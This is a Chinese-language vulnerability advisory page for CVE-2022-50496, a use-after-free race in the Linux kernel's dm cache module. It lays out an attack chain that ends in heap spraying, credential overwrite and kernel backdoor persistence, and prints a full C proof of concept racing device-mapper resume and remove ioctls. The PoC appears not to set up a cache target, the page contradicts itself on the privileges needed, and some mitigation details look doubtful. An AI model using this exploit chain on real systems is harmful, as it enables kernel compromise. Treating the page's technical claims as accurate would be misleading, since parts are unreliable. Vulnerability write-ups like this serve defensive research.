IPBUF安全漏洞报告
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CVE-2022-50496 CVSS 7.8 高危

CVE-2022-50496 Linux内核dm cache模块UAF漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50496
漏洞类型
Use-After-Free(UAF)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(dm cache模块)

相关标签

Use-After-FreeUAFLinux Kerneldm-cachedevice-mapper本地提权内核漏洞竞态条件CVE-2022-50496高危漏洞

漏洞概述

CVE-2022-50496是Linux内核设备映射器(device-mapper)dm cache子系统中存在的一个高危Use-After-Free(UAF)漏洞。该漏洞位于dm cache的destroy()函数中,当dm_resume()和dm_destroy()并发执行时,会触发UAF问题。具体而言,dm cache模块中的定时器(timer)机制在并发场景下存在竞态条件,导致在destroy()函数释放相关资源后,定时器回调仍可能访问已释放的内存区域,从而引发Use-After-Free漏洞。

该漏洞的CVSS 3.1评分为7.8分,属于高危级别。攻击者需要具有本地低权限即可利用,无需用户交互。成功利用该漏洞可导致内核态内存破坏,攻击者可读取敏感数据、修改内核内存或执行任意内核代码,对系统的机密性、完整性和可用性均造成严重影响。由于dm cache是Linux内核中用于块设备缓存的关键组件,该漏洞影响范围广泛,可能波及所有使用dm cache功能的Linux系统,包括各种服务器、桌面和嵌入式设备。该漏洞已在2025年10月4日公开披露,多个稳定内核版本已发布修复补丁。

技术细节

该漏洞的根本原因在于dm cache模块中destroy()函数与定时器之间的竞态条件。具体技术原理如下:

1. **并发场景**:当dm_resume()和dm_destroy()同时执行时,destroy()函数开始释放dm cache相关的内存资源,包括cache结构体及其内部成员。

2. **定时器未取消**:在destroy()函数执行释放操作之前,如果dm_resume()已经启动了一个定时器(timer),且该定时器尚未到期,destroy()函数在原始实现中未能正确取消该定时器。

3. **UAF触发**:destroy()函数释放内存后,之前未取消的定时器到期触发回调函数,回调函数尝试访问已被释放的cache结构体内存,从而触发Use-After-Free。

4. **修复方案**:在内核补丁中,开发者在destroy()函数中添加了对定时器的再次取消操作(cancelling timer again in destroy()),确保在释放内存之前彻底停止所有可能访问该内存的定时器回调。

利用方式方面,攻击者需要具有本地系统的低权限访问能力(PR:L),可以通过创建并操作dm cache设备来触发并发条件。攻击者可以编写恶意程序,利用ioctl或device-mapper接口创建dm cache映射,然后通过多线程或信号处理机制制造dm_resume()和dm_destroy()的并发执行,从而触发UAF。成功利用后,攻击者可获得内核态代码执行权限,进一步实现权限提升或系统完全控制。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标Linux系统上获得本地低权限访问(PR:L),可以通过普通用户账户登录或利用其他漏洞获取初始访问。
STEP 2
步骤2:权限提升准备
由于dm cache操作需要root权限,攻击者需要先通过其他漏洞或配置错误将权限提升至root。
STEP 3
步骤3:创建dm cache设备
使用device-mapper接口创建dm cache映射设备,配置缓存元数据设备和缓存数据设备。
STEP 4
步骤4:触发并发竞态
通过多线程同时调用dm_resume()和dm_destroy(),制造并发执行场景。destroy()函数在释放cache结构体内存后,未取消的定时器回调访问已释放内存。
STEP 5
步骤5:利用UAF
定时器回调访问已释放的cache结构体内存,触发Use-After-Free。攻击者可通过堆喷射(heap spraying)控制被释放内存的内容,实现任意内核地址读写。
STEP 6
步骤6:权限提升与持久化
利用内核任意读写修改cred结构体实现权限提升至root,并安装内核后门实现持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50496 PoC - dm cache UAF via concurrent dm_resume/dm_destroy // This PoC demonstrates the race condition between dm_resume() and dm_destroy() // that triggers a Use-After-Free in the dm cache module. // // Note: Requires root privileges to manipulate device-mapper devices. // Compile: gcc -o poc_cve_2022_50496 poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sys/ioctl.h> #include <linux/dm-ioctl.h> #define DM_CLEAR_CMD 0x1 // Structure to hold DM ioctl data struct dm_ioctl_sync { struct dm_ioctl header; }; // Open device-mapper control device int dm_open(void) { int fd = open("/dev/mapper/control", O_RDWR); if (fd < 0) { perror("Cannot open /dev/mapper/control"); return -1; } return fd; } // Create a dm cache target via dmsetup-like interface int create_dm_cache(int fd, const char *name) { struct dm_ioctl *dmi = calloc(1, sizeof(struct dm_ioctl)); if (!dmi) return -1; dmi->version[0] = DM_VERSION_MAJOR; dmi->version[1] = DM_VERSION_MINOR; dmi->version[2] = DM_VERSION_PATCHLEVEL; dmi->data_size = sizeof(struct dm_ioctl); dmi->data_start = sizeof(struct dm_ioctl); strncpy(dmi->name, name, sizeof(dmi->name) - 1); dmi->flags = DM_PERSISTENT_DEV_FLAG; if (ioctl(fd, DM_CREATE_CMD, dmi) < 0) { perror("DM_CREATE failed"); free(dmi); return -1; } free(dmi); return 0; } // Resume the dm device (triggers timer setup) void *resume_thread(void *arg) { int fd = *(int *)arg; struct dm_ioctl dmi; memset(&dmi, 0, sizeof(dmi)); dmi.data_size = sizeof(dmi); dmi.data_start = sizeof(dmi); dmi.flags = DM_PERSISTENT_DEV_FLAG; while (1) { ioctl(fd, DM_RESUME_CMD, &dmi); usleep(1); } return NULL; } // Destroy the dm device (triggers UAF when concurrent with resume) void *destroy_thread(void *arg) { int fd = *(int *)arg; struct dm_ioctl dmi; memset(&dmi, 0, sizeof(dmi)); dmi.data_size = sizeof(dmi); dmi.data_start = sizeof(dmi); while (1) { ioctl(fd, DM_REMOVE_ALL_CMD, &dmi); usleep(1); } return NULL; } int main(int argc, char *argv[]) { int fd; pthread_t t1, t2; printf("[+] CVE-2022-50496 PoC - dm cache UAF\n"); printf("[+] Requires root privileges\n"); if (getuid() != 0) { fprintf(stderr, "[-] Must run as root\n"); return 1; } fd = dm_open(); if (fd < 0) return 1; // Create dm cache device if (create_dm_cache(fd, "cache_vuln") < 0) { close(fd); return 1; } printf("[+] Starting concurrent resume/destroy threads...\n"); printf("[+] This may crash the kernel due to UAF\n"); // Launch concurrent threads to trigger the race condition pthread_create(&t1, NULL, resume_thread, &fd); pthread_create(&t2, NULL, destroy_thread, &fd); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); return 0; }

影响范围

Linux Kernel < 6.0(包含dm cache模块的所有受影响版本)
Linux Kernel 5.x 系列受影响版本
Linux Kernel 4.x 系列受影响版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)如果系统不使用LVM缓存或dm cache功能,可以通过在内核启动参数中禁用dm-cache模块(添加dm_cache.disable=1或通过blacklist机制)来规避风险;2)严格控制系统物理访问权限,防止未授权用户登录系统;3)监控系统日志,关注内核相关异常信息,及时发现潜在攻击行为;4)使用安全模块(如SELinux、AppArmor)限制对device-mapper设备的访问;5)定期检查并应用安全更新。

参考链接

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